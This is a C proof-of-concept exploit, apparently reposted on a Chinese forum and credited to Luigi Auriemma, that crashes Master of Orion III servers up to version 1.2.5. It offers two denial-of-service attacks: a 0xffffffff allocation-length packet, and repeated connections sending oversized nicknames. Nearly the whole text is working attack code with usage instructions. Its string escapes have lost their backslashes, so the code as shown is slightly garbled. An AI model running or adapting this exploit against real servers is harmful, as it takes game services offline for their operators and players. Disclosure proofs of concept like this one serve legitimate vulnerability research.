文章作者：Luigi Auriemma
复制内容到剪贴板
代码:
/*
by Luigi Auriemma
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#include "winerr.h"
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netdb.h>
#endif
#define VER "0.1"
#define PORT 25711
#define BUFFSZ 2048
#define TIMEOUT 3
#define MAX 15
#define PCK1 "gniP" "nnoC" /* Connection Ping */
"x02x00x00x00x01x41x66xFFx08x00x00x00x00x00"
#define PCK2 "ofnI" "trtS" /* Start info */
"x02x00x02x00x01x01x00x00x00"
"xff" /* nickname size followed by nickname (wide chars) */
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
#define SEND(x) tmp = htonl(sizeof(x) - 1);
if(send(sd, (void *)&tmp, 4, 0)
< 0) std_err();
if(send(sd, x, sizeof(x) - 1, 0)
< 0) std_err();
#define RECV(x) for(tot = 0; tot < x; tot += tmp) {
tmp = recv(sd, buff + tot, BUFFSZ - tot, 0);
if(tmp < 0) std_err();
if(!tmp) break;
}
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
int sd,
i,
len,
tot,
tmp;
u_short port = PORT;
u_char buff[BUFFSZ];
struct sockaddr_in peer;
setbuf(stdout, NULL);
fputs("n"
"Master of Orion III <= 1.2.5 server crash "VER"n"
"by Luigi Auriemman"
"e-mail: [email]aluigi@altervista.orgn[/email]"
"web: [url]http://aluigi.altervista.orgn[/url]"
"n", stdout);
if(argc < 3) {
printf("n"
"Usage: %s <attack> <server> [port(%d)]n"
"n"
"Attack:n"
" 1 = fast allocation exitn"
" 2 = multiple big nicknames crashn"
"n", argv[0], PORT);
exit(1);
}
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(1,0), &wsadata);
#endif
if(argc > 3) port = atoi(argv[3]);
peer.sin_addr.s_addr = resolv(argv[2]);
peer.sin_port = htons(port);
peer.sin_family = AF_INET;
printf("- target %s:%hun",
inet_ntoa(peer.sin_addr), port);
if(atoi(argv[1]) == 2) {
printf("- make max %d connections sending a big nicknamen", MAX);
for(i = 1; i <= MAX; i++) {
printf(" Connection: %dn", i);
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- send join pingn", stdout);
SEND(PCK1);
RECV(4);
len = ntohl(*(u_long *)buff);
RECV(len);
fputs("- send join datan", stdout);
SEND(PCK2);
fputs("- check if server is crashedn", stdout);
if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
fputs("nServer IS vulnerable!!!n", stdout);
close(sd);
break;
}
close(sd);
}
if(i > MAX) fputs("nServer doesn't seem vulnerablen", stdout);
} else {
sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(sd < 0) std_err();
if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
fputs("- send BOOM datan", stdout);
len = 0xffffffff; // bytes to allocate in memory
if(send(sd, (void *)&len, 4, 0)
< 0) std_err();
if((timeout(sd) < 0) || (recv(sd, buff, BUFFSZ, 0) <= 0)) {
fputs("nServer IS vulnerable!!!n", stdout);
} else {
fputs("nServer doesn't seem vulnerablen", stdout);
}
close(sd);
}
return(0);
}
int timeout(int sock) {
struct timeval tout;
fd_set fd_read;
int err;
tout.tv_sec = TIMEOUT;
tout.tv_usec = 0;
FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock + 1, &fd_read, NULL, NULL, &tout);
if(err < 0) std_err();
if(!err) return(-1);
return(0);
}
u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip;
host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("nError: Unable to resolve hostname (%s)n", host);
exit(1);
} else host_ip = *(u_long *)hp->h_addr;
}
return(host_ip);
}
#ifndef WIN32
void std_err(void) {
perror("nError");
exit(1);
}
#endif
